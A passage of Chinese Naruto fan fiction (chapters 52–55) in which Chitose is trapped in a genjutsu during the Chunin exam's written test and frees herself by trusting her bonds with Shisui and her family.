“火影大人……”止水愣住了,心中五味杂陈。他一直都知道火影对他的期许,却没想到,火影早已看透了他的迷茫,甚至将如此重要的任务交给他,希望他能在历练中找到答案。
其实,止水比谁都清楚,九尾之乱后,木叶高层更是在有意无意地边缘化宇智波一族。不再派遣重要任务给宇智波,阻断宇智波与其他国家的交流,甚至限制他们参与机密任务。这些细微的变化,像一根根刺,扎在每个宇智波族人的心里。而如今,火影却主动挑明这一切,这份信任,沉甸甸的,让他无法轻易拒绝。
“你不用急着回答我。”猿飞日斩看着止水复杂的神情,给出了缓冲的时间,“我可以给你一周的考虑时间。如果你愿意接受这个任务,从下个月起,你将被派往边境。”
昨夜的噩梦再次在脑海里闪回,冰冷的恐惧再次攥紧他的心脏。
脑海里毫无预兆地,浮现出她的模样。
千歲。
想到要离开这座有她的村子,独自踏上长达两年、甚至更久的边境卧底之路,止水的胸口就猛地一闷。
他想去变强,可他更怕,在他变强的路上,再次失去触手可及的温暖。
一边是能让他挣脱无力、真正强大起来的道路,是村子的托付,是宇智波与木叶之间微妙的纽带,是他身为忍者、身为宇智波一员的责任;一边是他拼了命也要守护的人,是他刚刚确认心意、想要用一生去珍惜的存在,是他一想到分离就会心痛的牵绊。
理智告诉他,应该答应。情感却在疯狂拉扯,每一根神经都在喊着——别走,留下来,留在她身边。
他是宇智波天才,是瞬身止水,是能为村子扛起一切的忍者,可在这一刻,他也只是一个刚刚动心、却要被迫远行的少年。
脚步像灌了铅一样沉重,心底的纠结翻江倒海,一边是滚烫的决心,一边是温柔的牵挂。
52.第52章 二代目火影叫啥来着
经过一周高强度的忍者理论特训,千歲直呼自己的人生仿佛被按了快进键,苍老感直逼十岁,黑眼圈深得快要能演“熊猫成精”。
中忍考试第一场——笔试。为了能顺利通过,她昨晚直接通宵复习,此刻脑子晕得像进了浆糊。
“今天月亮好大,还发光…”千歲迷迷糊糊地嘟囔着。
“笨蛋,那是太阳!太阳!”由里香实在看不下去,伸出手在她眼前晃了晃,恨铁不成钢地戳了戳她的脸,“你给我振作起来!马上考试了!”
“我已经很振作了嘛!!人家为了好好考试,连早餐都没敢吃一口!”千歲委屈巴巴地辩解,脸都快皱成包子了。
一旁的鼬眼神里透着一丝无奈,语气平静却精准:“没想到前辈居然有这种自虐倾向。”
“什么呀!我一吃早餐就容易晕碳犯困,待会儿考试当场睡着怎么办!”千歲立刻炸毛,试图捍卫自己的“备考策略”。
由里香无奈地叹了口气,从忍具包里摸出一颗橘子味的软糖,直接塞进她嘴里:“吃掉。就算不犯困,也得先把低血糖解决了。”
千歲接过糖果,二话不说就嚼了起来,眉头立刻皱成一团:“怎么是橘子味的…我明明想吃草莓味的啊!”
“有就不错了,还这么挑三拣四的。”由里香翻了个白眼。
就在这时,考场大门被猛地推开,一道低沉威严的声音响起,瞬间打断了三人的互动:“容我自我介绍,我是本次中忍考试的主考官,森乃伊比喜。现在开始中忍考试,所有与考试无关的物品,一律不得带入考场!考试期间,禁止交头接耳,禁止进食!”
主考官的目光扫过全场,最后死死盯住了正偷偷嚼着软糖的千歲。
“尤其是你!那边那个金发的小姑娘!”森乃伊比喜的声音陡然拔高,吓得千歲一哆嗦,差点把糖咽下去。
他黑着脸走过来,指着她的嘴巴:“赶紧把你口中的东西解决掉,立刻!”
千歲瞬间怂成一团,嘴里还含着糖,说话都含混不清:“是…是!主考官大人!”
周围传来几声憋笑,由里香无奈地扶额,鼬则默默别过了脸。
在森乃伊比喜的安排下,三人很快按照指定位置落座。鼬坐在右侧靠前的位置,千歲居于教室正中央,由里香则在左侧靠后——三人的距离恰好把教室一分为二,彼此隔得不算近,却又能隐约留意到对方的动静。
千歲望着左右两边离自己颇有距离的鼬和由里香,心底的紧张感悄悄冒了上来。由里香从自己的角度恰好能看见她小脑袋左右乱晃、坐立不安的模样,无奈地在心底叹了口气。
试卷很快分发下来,可落在每个人桌上的,竟是一张干干净净的白纸。
考场瞬间泛起细碎的骚动,很快有人忍不住举手:“请问……我们的试卷是空白的,这要怎么作答?”
森乃伊比喜清了清嗓子,面色严肃地压下全场的议论:“不要急,现在我宣布本次中忍考试第一场的正式规则。”
千歲在心底默默嘀咕:还要额外规则?不就是安安静静笔试答题吗,干嘛搞得这么复杂……
而鼬早已微微敛神,敏锐地察觉到这场考试绝不简单;由里香也立刻收起了散漫,竖起耳朵仔细聆听每一个字。
“本次考试,你们有两种作答方式可选。”伊比喜的声音低沉而有压迫感,“第一种——考题完全随机,难度浮动极大。难的,能达到连暗部成员都难以解开的程度;简单的,也可能是三岁孩童都能答出的问题。并且,每个人的题目都不相同,会根据你们内心最薄弱的部分量身出题。”
话音一落,考场瞬间炸开了锅。
“量身出题?这也太不公平了吧!”
“内心最薄弱的部分……那是什么意思啊?”
“完全听不懂啊……”
“安静。”伊比喜冷冷一喝,全场立刻噤声,“规矩就是如此,无法接受者,现在可以主动弃考。”
等教室彻底安静,他才继续开口:“第二种选择——所有考生使用同一套试题,只是……”
“只是什么?!”立刻有人急着追问。
“只是这一套题的难度,高到恐怖,具体是什么水准,我无法用语言形容。”伊比喜的目光扫过全场,语气沉重,“一旦选定其中一种,直到考试结束都不允许更改。中途弃考、或是被发现作弊者,成绩直接作废,十年内禁止参加任何一届中忍考试。”
严苛的惩罚让全场再次哗然,千岁更是吓得后背一凉wo。
她本来理论知识就不算扎实,要是选了第二种统一试题,绝对是当场完蛋;可要是选第一种随机考题,万一抽到最难的那种,她照样要挂科……到底选哪一边才对啊!!
千歲的小脸皱成一团,脑子里乱成一锅粥,急得指尖都微微蜷起。
反观鼬,依旧是那副冷静淡然的模样,眼底平静无波,显然早已在心底快速分析利弊;而由里香则紧锁眉头,思绪飞速运转——千歲那家伙,十有八九会下意识选第一种,可随机性太大,对本就不擅长理论的她毫无优势。
如果千岁和鼬都选第二种,鼬坐在她右前方,以写轮眼的能力,她完全可以不动声色地复制鼬的答题动作,根本不需要看懂题目。
可问题是……千歲那根缺根筋的脑袋,能想到用写轮眼这么做吗?
还有,鼬会不会选第二种?
由里香越想心越乱,暗暗懊恼:要是自己的位置能离千岁近一点,至少还能暗中提醒,现在隔得这么远,一点可控性都没有。
“所有人注意,五分钟后考试正式开始——结出解印,心中默念第一种或第二种,试卷便会自动显现你所选的考题。”
森乃伊比喜一声令下,全场气氛瞬间绷到极致。
“现在,考试——开始!”
考场上顿时响起
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一片整齐又紧张的“解——!”声,面对这场规则诡异到离谱的考试,每个下忍都绷着一张脸,紧张得手心冒汗。
千歲压根没多想,凭着直觉果断选了第一种。她小手飞快结印,脆生生喊了一声“解!”,立刻睁大眼睛凑到试卷前。
只见白纸上方缓缓浮现一行字:
本次共十题,答完一题自动显示下一题,全部完成后不可修改。
千歲嘴角一抽:这都是什么奇奇怪怪的规则啊……
没时间吐槽了,她立刻把目光投向第一题。
居然是一道填空题——
请问:火之国第二代火影的全名叫什么?
千歲眼睛“唰”地一亮:咦?!这么简单?我这是抽中新手福利题了?!
她美滋滋提起笔,毫不犹豫先写下两个字:
千手…
写完的瞬间,千歲整个人僵住。
……二代目火影叫啥来着??
止水明明之前特意跟她讲过,她当时还点头如捣蒜说记住了,可现在脑子里一片空白,连半个字都抠不出来。
完蛋了——居然要在这种送分题上翻车。
千歲抓着头发绞尽脑汁,急得鼻尖都冒了点薄汗。眼看时间一分一秒溜走,她咬咬牙,凭着模糊的记忆+离谱的直觉,颤巍巍地在后面补了两个字:
千手扉子
写完还自我安慰似的点点头:……嗯,听起来挺像那么回事的,应该、应该没错吧!
就在千歲握着笔,准备去答第二题时,面前的白纸却迟迟没有浮现新的题目,反而缓缓亮起一道淡淡的、无法辨认的印式纹路。
她眨了眨眼,还没来得及看清那是什么,眼前骤然一黑,脑袋“咚”地一声轻轻砸在桌面上,整个人直接昏了过去。
不远处的由里香眼角余光一扫,当场心头一紧:那家伙……不会是通宵复习撑不住,在这种要命的考试里直接睡着了吧?!
可下一秒,由里香瞬间意识到了不对劲。
考场里接二连三响起闷响,一片又一片的考生如同失去力气般,接连趴在桌上失去意识,倒下的范围越来越大,根本不是普通犯困那么简单。
她心头猛地一震,瞬间察觉到了诡异。几乎是本能反应,由里香双眼骤然亮起写轮眼,视线死死锁定千岁桌上的试卷——
那根本不是题目,而是一道隐蔽到极致的幻术印式!
是幻术!
这场看似普通的笔试,竟然从一开始就藏着幻术陷阱!
由里香心脏狂跳,思绪飞速翻涌。
触发条件是什么?为什么有人倒下有人没事?这场中忍考试第一场,难道不是笔试,而是一场针对精神与意志的幻术考验?
她看向依旧稳稳坐着、毫无异样的鼬,又望向不远处毫无知觉昏过去的千歲,心底瞬间揪成一团。
森乃依比喜,到底想干什么?
53.木叶再无宇智波
少女缓缓睁开眼,发现自己正躺在一棵粗壮的大树下。夕阳透过层层叠叠的叶隙洒落,将细碎的光影温柔地覆在她脸上。千歲撑着发软的手臂慢慢坐起,脑袋昏沉得厉害——她怎么会不知不觉,在后山的草地上睡着了呢?
她胡乱揉了揉蓬松的头发,望着天边沉落的橘色落日,才迷迷糊糊想起,该回家了。
可周遭的一切都笼罩在一层朦胧的薄雾里,连意识都轻飘飘的,像是还陷在没睡醒的困意中。
她迈开步子,朝着宇智波族地的方向慢慢走去。
街道上行人熙熙攘攘,唯独她一人的背影,被夕阳拉得细长又孤单。
路过那条熟悉到闭着眼都能走的商业街时,千歲忽然顿住了脚步。
原本那家香气四溢的木村和果子店,不知何时竟换成了一间陌生的服装店,招牌崭新,却看得她心头一紧。
木村家的和果子店……搬走了吗?
怀着满心疑惑,她继续往家的方向走。
可那条明明再熟悉不过的路,此刻却长得没有尽头。往常只要拐两个弯,就能看见宇智波族地气派的大门,可如今,路口尽头只有一片荒凉幽深的竹林,空荡荡的,连半个人影都没有。
她来来回回走了一遍又一遍,确认路线没有半分差错,可那个刻在心底的家,却怎么也找不到了。
怪异的感觉一点点爬上心头,本就昏沉的意识越发疲惫。
等她终于反应过来时,天色已经彻底暗了下来,夜晚悄悄笼罩了整个木叶。
肚子不合时宜地咕咕叫了起来。
千歲抬头,看见街边依旧亮着暖黄灯光的一乐拉面,下意识便推门走了进去。
“大叔,来一碗味增拉面!”
话一出口,她自己都愣了一下。
可身体却像是不受控制一般,连思考都省略了。
一乐大叔笑着从后厨探出身:“好嘞,杏奈今天怎么一个人来呀?”
千歲环顾空荡荡的店面,再三确认,店里只有自己一个客人。
杏奈……是在叫我吗?
她歪着头,有些委屈地开口:“大叔,你怎么把我名字忘记啦?”
“忘记谁也不会忘记你呀,小杏奈。”一乐大叔乐呵呵地擦着碗,“你每次来我这儿,最爱点的就是味增拉面了!”
千歲心底的违和感猛地炸开。
她最讨厌的就是味增拉面,可刚才,她竟想都没想就脱口而出。
更奇怪的是,她的名字明明是千歲,从来都不是什么杏奈。
“大叔!你记错啦!我叫千歲,宇智波千歲!”她急得小声喊了出来。
一乐大叔只是挠了挠头,以为她在玩什么奇怪的游戏,笑着转身回去揉面了。
千歲心里乱糟糟的,可热腾腾的拉面一上桌,那点怪异感还是被她暂时抛到了脑后。她拿起筷子,明明不喜欢味增的味道,却还是一口一口将就着吃了下去。
吃完拉面,她和一乐大叔道别,肚子是饱了,可回家的路,依旧毫无头绪。
这么晚还不回去,父亲宇智波枭肯定要着急出门找她了。
就在这时,有人从背后轻轻拍了拍她的肩膀。
“杏奈?这么晚了,怎么还不回家呀?”
是木村。
千歲猛地转过身,眉头瞬间皱成一团:“谁是杏奈啊!你们怎么一个个都叫我杏奈!”
木村一脸狐疑地看着她:“当然是你啦,千手杏奈,你怎么连自己的名字都忘了?”
千、千手杏奈?
那是什么东西?!
千歲急得脸颊都鼓了起来,连连反驳:“我是宇智波千歲啦!宇智波!是木叶的大族啊!”
木村却满脸茫然:“宇智波?有这个姓氏吗?我从来没听说过啊。”
千歲整个人都僵住,震惊得说不出话。
宇智波可是木叶赫赫有名的大族,他怎么可能不知道?
她立刻转过身,指着自己身后的族徽,气鼓鼓地想证明自己:“你看!这是宇智波的团扇族徽!你快看啊!”
木村只是更困惑了:“杏奈,你今天好奇怪啊,说的话我一句都听不懂。”
千歲正要继续反驳,目光无意间扫过街边商店橱窗——
那一瞬间,她浑身的血液像是瞬间冻住了。
橱窗里倒映出的身影,背后那枚熟悉的宇智波团扇徽记,竟凭空消失了。
取而代之的,是一个她从未见过、完全陌生的图案。
而她身上那件深绀色、象征着宇智波身份的高领族服,也在不知不觉中,变成了一身陌生的黄白色裙子。
千歲猛地冲到橱窗前,双手撑在冰冷的玻璃上,死死盯着里面的倒影。
奇怪……
太奇怪了……
这到底……是什么情况啊?!
她又慌忙追问木村:“那你家的和果子店呢?怎么突然搬走了?”
木村一脸莫名其妙:“和果子店?我家从开店起就是服装店啊。”
那一瞬间,一股毛骨悚然的寒意从脚底直冲头顶,千歲被这完全违背常理的诡异景象吓得浑身发僵。木村看她脸色发白、眼神都不对劲了,心里发慌,随便找了个借口就想溜。
“杏奈,我、我妈喊我回家吃饭了……”
话音刚落,他一溜烟就跑没了影。
“喂——你别跑啊!”
千歲急得大喊,可对方头也不回。周遭的一切都在朝着她完全无法理解的方向崩塌,路不对、店不对、名字不对、连人都不对了。她失魂落魄地在商业街上漫无目的地游荡,心慌意乱地猜测——是恶作剧?还是某种她看不懂的忍术?可她想破脑袋,也想不出个答案。
就在这时,一道熟悉得不能再熟悉的身影闯入视线。
黑色的短发,沉稳的走路姿态,哪怕只是一个背影,她也绝不会认错——那是她的父亲,宇智波枭。
千歲像是抓住了最后一根救命稻草,立刻快步冲了上去,大喊:“老爸!我们家不见了!到处都找不到我们家了!”
前方的身影没有回头。
千歲急得伸手去扯他的衣袖再喊一声:“老爸!!”
这一次,男人终于缓缓转过身。
可那双看向她的眼睛,却陌生得可怕。
没有半分平日的温和。只有一片冰冷的疏离,仿佛在看一个莫名其妙的陌生人。
“你认错人了。”
千歲一下子懵了,脑子转不过弯:“不要开玩笑了啦老爸!我们家真的不见了,我没有骗你!”
宇智波枭眉头紧紧皱起,语气冷了下来:“放手。”
“你就算生气,也不能这样对我啊!”千歲鼻尖一酸,委屈得快要哭出来。
下一秒,男人毫不留情地抬手,一把挥开了她的手。
力道不大,却像一巴掌狠狠拍在她心上。
他一言不发,径直转身往前走。
“老爸!你为什么不理我!老爸——!”
千岁慌了神,一直跟在他后面叫他的名字,可怎么也拉不回他的脚步。
只见宇智波枭走到街边,停在了一位黑发女子面前。女子怀里抱着一个约莫五岁的小男孩,孩子一看见他,立刻张开小手,甜甜地喊了一声:
“爸爸!”
千歲当场僵在原地,大脑一片空白。
她冲上前,仰着头死死盯着宇智波枭:“他是谁?为什
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么叫你爸爸?这个女人又是谁啊?”
身旁的女子疑惑地看向男人,轻声问:“健次郎,这个孩子到底是怎么回事?”
健次郎??
千歲几乎是尖叫出来:“你是宇智波枭!才不是什么什么奇怪的次郎!!”
怀里的小男孩被她的声音吓了一跳,往母亲怀里缩了缩,怯生生道:“爸爸,我好害怕……”
千歲又气又急,委屈得大喊:“不准你喊他爸爸!他是我爸爸!是我一个人的爸爸!”
宇智波枭看向她的眼神,只剩下全然的不解与不耐,最后化作一句冰冷刺骨的话:
“你要是再在这里无理取闹、给我添麻烦,我就叫警务部队了。”
那句话像一盆冰冷的水,从头浇到脚。
父亲从来没有用这种语气跟她说过话,从来没有这么冷漠、这么陌生过。
千歲呆呆地站在原地,动弹不得,只能眼睁睁看着那一家三口相依着转身,渐渐消失在街道尽头。
晚风一吹,她才猛地打了个寒颤。
今天……到底是怎么回事啊……
千歲蹲在冰冷的路边,抱着膝盖,脑袋里一片混乱。
世界像被人悄悄换了布景,熟悉的人、熟悉的家、熟悉的名字,全都变得面目全非。她又累又困,却连一个能安心歇脚的地方都没有。
……止水现在,会在做什么呢?
要是他在就好了。
可宇智波族地都消失了,她连去哪里找他都不知道。
她拖着轻飘飘的脚步,漫无目的地走到公园。昏黄的灯光下,一抹鲜艳的红发映入眼帘——
是漩涡咲!
千歲像抓住了最后一根救命稻草,小跑着上前,声音轻得发颤:
“漩涡咲姐姐??”
漩涡咲缓缓转过身,笑容温和,却带着一丝陌生:
“嗯?你认识我?”
终于不是什么奇怪的名字了。
“咲姐姐,你知道……止水在哪里吗?”
“止水?”咲轻轻歪头,一脸茫然,显然没听过这个名字。
千歲急得连忙比划:“就是、就是黑色短发、发尾有点卷,平时带一把短刀的那个!你们是同一个小队的!”
咲“啊”了一声,恍然大悟:“哦哦——你说拓真啊。”
……连止水,也变成别的名字了吗。
千歲压下心底的涩意,连忙点头:“对……你知道拓真在哪里吗?我找他有很着急的事……”
漩涡咲上下打量了她一眼,随口问:“你和拓真是什么关系呀?”
“他是我……呃……”
千歲脑子飞速一转,这大概是她这辈子最机灵的一刻。
“我是他的任务委托人,之前的任务出了点问题,必须马上跟他协商。”
“原来是这样啊,那我带你去吧。”
跟着漩涡咲穿过陌生又熟悉的街道,千歲的心越跳越快。
直到站在一扇门前,她才真正意识到——
她终于,要见到止水了。
漩涡咲轻轻敲门。
门被打开的瞬间,千歲的眼睛瞬间亮了起来。
门口站着的少年,黑发微卷,眉眼温柔,身上的气息熟悉得让她鼻尖一酸。
是止水,一点都没变。
千歲几乎是本能地往前一步,声音带着哭腔,脱口而出:
“止水!!”
可少年只是礼貌性地弯了弯唇角。
那微笑很温和,眼神里却隔着一层看不见的冰,陌生、客气、遥远,像在看一个完全不认识的路人。
他轻轻开口,语气疏离又礼貌:
“你是?”
54.止水是大骗子
门内的少年,的确是止水。
黑发微卷,眉眼清俊,连嘴角那抹习惯性的浅笑都一模一样,可那双总是盛满温柔与在意的眼眸里,此刻只剩下全然的陌生,像在看一个突然找上门的陌生人。
“你是?”
轻飘飘的三个字,却像一块冰石,狠狠砸在千歲心上。
她整个人都僵在原地,刚刚燃起的希望瞬间被浇得冰凉。
怎么会……连止水也不认识她了?
“止水……是我啊,我是千歲!宇智波千歲!”她急得往前凑了半步,声音带着控制不住的颤抖,“你怎么会不认识我了?”
止水只是微微蹙眉,礼貌却疏离,脸上没有半分动容:“这位小姐,你是不是认错人了?我叫拓真,并不是你说的止水。”
“不是的……不是认错人!”千歲鼻尖通红,眼泪在眼眶里打转,“你的头发、你的眼睛、全都一模一样!你就是止水!你为什么要装作不认识我?”
一旁的漩涡咲看得一脸茫然,完全插不上话。
止水依旧保持着客气的距离,语气平静无波:“我想你真的误会了,我从未见过你。如果你没有别的事情,就先请回吧。”
他说着,便要抬手合上房门。
“不要——!”
千歲猛地伸手抵住门板,小小的身子挡在门口,仰着头看他,声音带着哭腔,又委屈又倔强地喊出那句藏在心底的话:
“我们之前不是拉过勾,不跟对方隐瞒事情吗!?干嘛装作不认识我?你要吞千针!”
这句话一出口,她自己眼泪先掉下来了。
那是他们之间独有的小约定,是他笑着跟她拉钩、说永远不会骗她的承诺。
可现在,他看着她的眼神,依旧陌生得让人心碎。
止水的动作顿了顿,望着眼前哭得梨花带雨的少女,眼底掠过一丝极淡的困惑,却依旧没有半分熟悉感。
“拉钩?”他轻声重复,语气里只有不解,“我不明白你在说什么。请你不要在这里无理取闹。”
无理取闹……
这四个字,像针一样扎进千歲的心脏。
曾经会温柔护着她、会在她害怕时轻声安慰、会拼尽全力不让她受伤的止水,此刻却说她在无理取闹。
所有的依靠和期待,在这一刻彻底崩塌。
她站在门口,眼泪不停地掉,浑身都在轻轻发抖,看着眼前近在咫尺、却又远在天涯的少年,终于再也说不出一句话。
“大骗子!!!”
千歲低着头,用尽全身力气喊出这三个字,话音未落便转身狂奔而去。小小的身影在夜色里跌跌撞撞,像一只被全世界抛弃的小鸟。
身后,漩涡咲望着她跑远的方向,有些担忧地看向门口的少年:“拓真,刚刚那个孩子……到底是怎么了?”
止水轻轻摇了摇头,眉眼间依旧是一片温和的陌生:“我从来没有见过她。”
千歲不知道自己究竟跑了多久,直到双腿发软、再也迈不动步子,才缓缓停下。夜色早已深沉,月光冷清地洒在空无一人的街道上,她又累、又痛、又茫然,整颗心像被揉碎了一般难受。
为什么所有人都变得这么奇怪。
叫错她的名字,否定她的存在,连最亲的父亲、最信任的止水,都像看陌生人一样看着她。
她快要撑不住了。
走到路边一张冰冷的长椅旁,千歲慢慢坐下,埋着头用力抹着不断涌出的眼泪,肩膀一抽一抽地颤抖。
这个世界彻底乱了——
所有人都叫她千手杏奈,有的人看似认识她,却完全不记得真正的她;有的人名字彻底变了,宇智波枭成了健次郎,止水成了拓真,连性格都变得冷漠陌生;只有极少数人名字没变,却依旧固执地将她认作另一个人。
她努力让自己冷静下来,试图抓住这诡异幻境里唯一的线索,可越是思考,心底的恐慌就越是蔓延。
就在这时,银色头发的男人静静停在了她的面前。
是旗木卡卡西。
那个曾经在无数次困境中向她伸出援手的前辈。
可经历了接二连三的颠覆,千岁已经不敢轻易确定,眼前的人,还是不是她认识的那个卡卡西。
“这么晚了,一个人待在这里,怎么不回家?”
低沉温柔的声音响起,和记忆里一模一样。
千歲微微抬起布满泪痕的脸,声音轻得像风,带着一丝小心翼翼的试探:“……卡卡西前辈?”
银发男人微微歪了歪头,脸上露出几分困惑,显然对这个名字毫无印象。
……果然,连名字也变了。
“我叫顺顺东。”他轻声纠正。
她低下头,沉默不语。太诡异了。
顺顺东——也就是她记忆里的卡卡西——轻轻在她身边坐下,语气依旧温和:“是跟家人吵架了吗,所以才不肯回家?”
这句话,瞬间戳中了千歲心底最软的地方。
她忽然想起,曾经在森林里迷路时,卡卡西也是这样温柔地问她;想起当初不小心折断银杏树,手足无措时,也是他出现帮她收拾残局;
想起每次陷入无助时,仿佛无论多大的麻烦,他都能稳稳接住。
千歲吸了吸通红的鼻子,轻轻开口:
“顺顺东前辈……我遇到了一点困难,能……跟您说说话吗?”
卡卡西没有多问,只是安静地望向她,轻轻吐出两个字:
“说吧。”
考场
考场内的空气早已凝固到近乎窒息。
时间一分一秒无情流逝,考试即将步入尾声,可教室内的景象却诡异到令人心惊——超过三分之二的考生依旧趴在桌上昏睡不醒,呼吸微弱,毫无苏醒的迹象,千歲也混在其中,额头抵着桌面,一动不动。
死寂笼罩着整个教室,只剩下墙上时钟滴答作响,每一声都像重锤砸在人心上。
由里香选择的是第二套统一试题,即便凭借着过人的头脑咬牙强撑,答题过程也步步艰辛,可她还是硬生生全部完成。她死死攥着笔,目光频频投向教室中央的千歲,心脏狂跳不止。
而坐在右上角的鼬,早已提前三十分钟便完成了第二套所有考题。他始终保持着端正的坐姿,表面平静无波,眼底却暗藏焦灼。不动声色地,他将视线轻轻向后一瞥,精准地与由里香的目光撞在一起。
无需言语,两人瞬间读懂了彼此心底的焦急,
他们都在担心着同一个人。
距离考试结束,只剩下最后五分钟。
直到此刻,森乃伊比喜那低沉冰冷、不带任何感情的声音才缓缓响彻考场:
“现在依旧躺倒的人,若在考试结束前无法苏醒,一律视为考试失败,直接失去资格。”
一句话,让本就紧绷的气氛瞬间炸到极致。
由里香脸色骤变,鼬的眼神也骤然一沉。他们两人早已凭借写轮眼看穿了真相——第一套试卷上附着的幻术印式,难度远超普通下忍乃至一般中忍所能破解的水平。
根本来不及让深陷幻境的人自行醒转。
由里香死死盯着千岁的背影,在心底不顾一切地呐喊:
快醒过来,再不起就来不及了!
时钟的指针依旧在无情向前,每挪动一格,都离淘汰更近一步。
整个考场,被绝望的紧张彻底吞没。
幻境
千歲把膝盖抱在怀里,把脸埋在臂弯间,吸了吸通红的鼻子,只敢挑最模糊、最抽象的话,慢慢说给身边的人听。
“我……来到了一个很奇怪的地方。明明是我熟悉的村子,可是所有事情都不对了。”
她声音轻轻的,带着哭后的沙哑,不敢说出宇智波、不敢说出自己的名字,“大家都叫我别的名字,我认识的人……全都不记得我了。”
“我最在意的人,最亲的人,都像看陌生人一样看我。我找不到家,也找不到自己应该在的位置……好像我从来没有存在过一样。”
她说得含糊,说得抽象,却把心底最深的恐慌与孤独,全藏在了这几句轻得像风的话里。
卡卡西安静地听着,没有打断。
等她终于停下,他才缓缓抬起头,望向远处沉沉的夜色,声音轻而稳,像一盏在黑暗里不会熄灭的灯。
“你看到的一切,不一定都是真的。”
他顿了顿,语气平静却带着穿透幻境的力量,“我曾经也踏入过一个,我从未真正到过的世界。那里和我生活的地方很像,街道一样,建筑一样,连人的样子都几乎一样……可又处处都不一样。”
“那样的世界,不是用来困住你的。”
卡卡西的目光轻轻落在她颤抖的肩膀上,温柔却坚定,
“它是从你的心里长出来的。它把你最害怕失去的东西,变成你眼前的假象;把你最在意的人,变成你最不敢面对的模样。”
“幻术最可怕的,从不是假象本身。而是它会精准地抓住你内心最薄弱、最柔软、最不敢失去的那一块,把你的恐惧,变成你亲眼看见的现实。”
千歲猛地一僵。
心尖像是被轻轻戳了一下。
“你说,重要的人不认识你、家消失了、名字被换掉了…
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…这不是因为他们真的忘了你。
而是在你心底深处,你最害怕的,就是被他们抛弃、被他们忘记、变得不再被需要。”
“你害怕自己不够强,害怕拖他们的后腿,害怕有一天,你对他们而言,不再重要。所以幻术,才把你最深的不安,全部变成了眼前的‘现实’。”
每一句,都轻轻敲在她心上。
宇智波枭的冷漠、止水的陌生、一族的消失、所有人叫她“千手杏奈”……不是世界疯了。而是这些人,全都是她心底最最重要、最不能失去的存在。
止水。
父亲。
宇智波的大家。
那些她愿意挡在身前、愿意豁出性命的人。正是因为太重要,所以才成了她最薄弱的地方。幻术中的一切荒诞、陌生、痛苦……全都是她内心恐惧的倒影。
“要解开它,不需要对抗眼前的假象。”
卡卡西的声音像一道微光,穿透迷雾,
“只需要你正视自己的心——看清你真正在意什么,真正相信什么,真正拥有什么。”
卡卡西的话语轻轻落在耳畔,像一道微光,却没有直接点破幻术,只是引导着她去看清眼前的虚假。千歲垂着眸,心底的混乱开始一点点翻涌,她没有依靠别人的答案,而是自己一点点回想、一点点拼凑、一点点清醒。
眼前这个叫拓真的止水,笑得礼貌又疏离,说话客气又冷淡,连眼神里的温度都消失得无影无踪。
可她心底的那个止水,从来不是这样的。
她的脑海里,不受控制地涌出无数细碎的画面,是止水笑着揉她的头发,耐心教她忍术的模样;是在雾隐绝境里,他挡在她身前,咬牙让她逃走的倔强背影;是他会和她拉钩约定,说永远不欺骗对方,违约就要吞千针的温柔;是他看到她受伤时,眼底藏不住的慌乱与心疼;是那个会把她护在身后、会记住她的喜好、会在她迷茫时轻轻引导她的宇智波止水。
那个止水,眼里有她,有宇智波,有他们共同的回忆,永远不会用看陌生人的眼神看着她,永远不会装作不认识她。而眼前这个陌生的少年,就算长得一模一样,就算发型、身形毫无差别,却没有一丝一毫属于她的止水的温度。
这根本不是真的。
不是那个会为她觉醒瞳力、会把她放在心尖上的止水。
想到这里,千岁的心脏猛地一缩。
虚假。
全都是虚假的。
父亲的冷漠、族人的消失、所有人叫她千手杏奈、止水变成拓真……这一切都不是现实。
她没有被忘记,没有被抛弃,没有失去一切。
幻术在放大她心底最软弱的恐惧——怕自己不够好,怕拖后腿,怕不被需要,怕失去最重要的人。
可正是因为这些人太重要,那些回忆太深刻,她根本不可能接受眼前这种虚假的“陌生”。
眼前的陌生感越强烈,她就越清楚——这不是真的,这是困住她的幻术。
幻术的核心,是她内心的不安;
而解开幻术的钥匙,是她心底从未动摇的、对那些重要之人的坚信。
她不需要怀疑,难过和崩溃。
她只要坚信——
止水记得她,父亲爱着她,宇智波从未消失,她从来不是多余的人。
这不是别人告诉她的答案,是她靠自己的回忆、自己的心意、自己的执念,一点点揭开的。
千歲缓缓闭上双眼,不再看眼前的幻境,而是牢牢抓住心底最真实的温暖。那些与止水相伴的时光,那些被家人守护的瞬间,那些并肩作战的信念,在她心底凝聚成最坚定的力量。
而那个独一无二的、温柔的止水,永远都在。所有的迷茫轰然破碎。千歲缓缓抬起头,眼底不再是恐慌与哭泣,而是一点点亮起的、坚定的光。
心底轻轻响起一句无比清晰的话——
我最重要的东西,从来没有消失过。
轰——
整片幻境在这一刻剧烈震颤。
天空碎裂,街道融化,陌生的世界如同镜面般层层崩解。
虚假的名字、陌生的面孔、消失的族地、冷漠的亲人……一切幻象尽数消散。
耳边再次传来考场的气息。
纸张的气味,安静的呼吸,伊比喜低沉的声音。
千岁猛地睁开双眼。
眼前不再是深夜的公园,不再是陌生的长椅。
她依旧坐在考场的座位上,面前是那张印着幻术纹路的试卷。
而她的写轮眼,在眼底轻轻一亮——
幻术,解开了。
55.第一场中忍考试,失败??
考试结束前的最后十秒。
意识像是从深海里猛地被拽回现实,千歲浑身一颤,骤然从桌前惊坐而起。
一勾玉写轮眼仍未褪去,瞳孔里还残留着幻境未散的残影。
能在这场精神拷问里,仅凭第一套试题就挣脱幻境、准时苏醒的人,整个考场里恐怕都凑不足十个。
身旁的由里香看见她睁眼的刹那,一直紧绷到极致的心弦终于松了半分,可下一秒,又再次狠狠提起。
她太清楚这场考试的规则了。
醒过来,不代表能通过。
“时间到。”
依比喜低沉的声音在考场里回荡,带着毫不留情的冷酷,“所有直到结束仍未从幻境中苏醒的人——全部不合格,立刻离场。”
一片骚动与哀嚎中,有人颓然倒地,有人被考官直接架走。
就在众人以为尘埃落定时,依比喜却缓缓补上一句,语气平淡,却像冰锥扎进每个人心里:
“不过,我可没说,醒着的人就一定合格。”
全场瞬间死寂。
所有人:“什么?!”
依比喜面无表情:“接下来回收所有试卷,待考官审阅完毕,再公布真正合格者名单。”
千歲刚从幻境的余韵里抽离,大脑一片空白,连现在是什么状况都没反应过来,只答了第一题的卷子就被考官冷漠抽走。
她茫然地坐在原地,写轮眼缓缓闭合,视野里还在微微发晕。
而不远处,鼬依旧保持着低头沉思的姿势,指尖轻抵桌面,神色平静得看不出情绪,没人知道他究竟在思考考题,还是在留意着什么。
十分钟的审阅,漫长得像一个世纪。
空气凝固,呼吸都变得小心翼翼。
终于,依比喜拿起合格名单,目光扫过全场,一字一顿,清晰念出:
“宇智波由里香。”
少女微微松气,却依旧保持着冷静。
